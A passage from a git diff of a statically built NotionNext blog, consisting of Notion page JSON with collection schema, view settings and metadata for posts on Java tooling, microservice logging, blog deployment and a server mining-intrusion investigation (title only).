8c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"1fe1e95a-cd49-421a-b7a7-916a18f2655d":{"value":{"id":"1fe1e95a-cd49-421a-b7a7-916a18f2655d","type":"text","properties":{"title":[["\n",[["i"]]],["        是在往前走就好",[["i"],["b"]]],["\n        ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"3147a22c-843a-46c3-a4d0-89eb62b6bd7e","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"57be63c6-8825-4b09-ab16-3014cdee1119":{"value":{"id":"57be63c6-8825-4b09-ab16-3014cdee1119","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1711360833153,"last_edited_time":1711360833153,"parent_id":"d8150945-8bbf-4df1-8e0e-dea8d8f5e04e","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}},"17ce2e3c-f255-464e-8b1d-64ab9c7648c3":{"value":{"id":"17ce2e3c-f255-464e-8b1d-64ab9c7648c3","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"3147a22c-843a-46c3-a4d0-89eb62b6bd7e","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"189b1da9-975a-42da-a706-02494cb76d01":{"value":{"id":"189b1da9-975a-42da-a706-02494cb76d01","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},"recommendPosts":[{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/article/begin.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/begin.json
new file mode 100644
index 000000000..06e36c62e
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/begin.json
@@ -0,0 +1 @@
